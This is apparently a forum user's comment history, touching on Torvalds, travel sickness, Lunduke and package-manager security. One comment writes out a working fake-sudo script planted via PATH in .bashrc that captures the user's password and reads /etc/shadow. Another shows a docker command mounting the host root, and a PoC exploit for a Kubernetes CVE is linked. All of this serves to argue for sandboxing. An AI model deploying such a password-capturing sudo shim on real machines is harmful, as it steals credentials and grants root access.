sergeykish
Joined 13 years ago
Joined 13 years ago
> Nobody wants to be treated how Torvalds treated people.
Exactly, nobody wants but so many can't stop until treated.
> Stop this "we can break stuff" crap. Who maintains udev? Regressions are not acceptable. I'm not going to change the kernel because udev broke, f*ck it. Seriously. More projects need to realize that regressions are totally and utterly unacceptable. ... That just encourages those package maintainers to be shit maintainers. ... And stop blaming the kernel for user space breakage!...
Hate 0.832673044602
For common sense.
You've ignored "art, video editing" and you claim that your point ignored? Why do you type words at all if issue is their consumption?
From my experience bus was the worst as you can't get front seat, even worse were backward positioned seats. Train and plane were great. Car in the middle, depend on road and driving style.
If I was on bus during childhood you would know by stops it made. We avoided that by traveling by car.
"Concerned people are insane anti-Apple without any solid arguments, lol"
PoC attack on k8s [1] claims execution through sibling layers of kube-proxy, host filesystem access through /dev/ [2].
[1] https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kuber...
[2] https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kuber...
$ docker run -it -v.:/app -w /app node:alpine /bin/sh
/app # docker run --rm -it -v '/:/mnt' -u 'root' 'alpine' '/bin/sh' '-l'
/bin/sh: docker: not found
I've described attack from host user and isolating attacker with docker.Programming language packages issue only because we don't have zero trust for modules — no restrictions to open socket or file system. Issue is not count, pure function leftPad can't hurt you.
echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc
mkdir -p .local/bin/
cat <<EOF >.local/bin/sudo
read -rs -p "[sudo] password for $USER: " PASSWORD
echo ""
echo "$PASSWORD" | /usr/bin/sudo -S head /etc/shadow
EOF
chmod +x .local/bin/sudo
attack on next sudo call, shows data accessible only to root.Our security model based on distributions verifying packages, that is distro maintainers. Software we can't trust should be running in VMs. Attack on trivy is just the beginning and solution is removing pip, uv, npm, rbenv from host, running in docker containers:
$ docker run -it -v.:/app -w /app node:alpine /bin/sh
long term environments defined in docker compose: $ docker-compose.yml
services:
app:
image: node:alpine
volumes:
- .:/app
working_dir: /app
command: /bin/sh
$ docker compose run app
switch to Kata etc if more protection needed. Eventually all userspace would run in VMs.> Doesn't own a mob, and never happened. Horrible accusation, by the way.
Mob unable to response on technical question. To use logic.
> Citation needed.
His YouTube comment section speaks volumes. He manipulates technically uneducated.
You've just confirmed obvious. No way to improve security without breaking changes. And you demand mostly nontechnical users to blacklist applications. That's a recipe for disaster.
Lunduke made factually wrong claims for hype. His mob are keen to attack Open Source developers.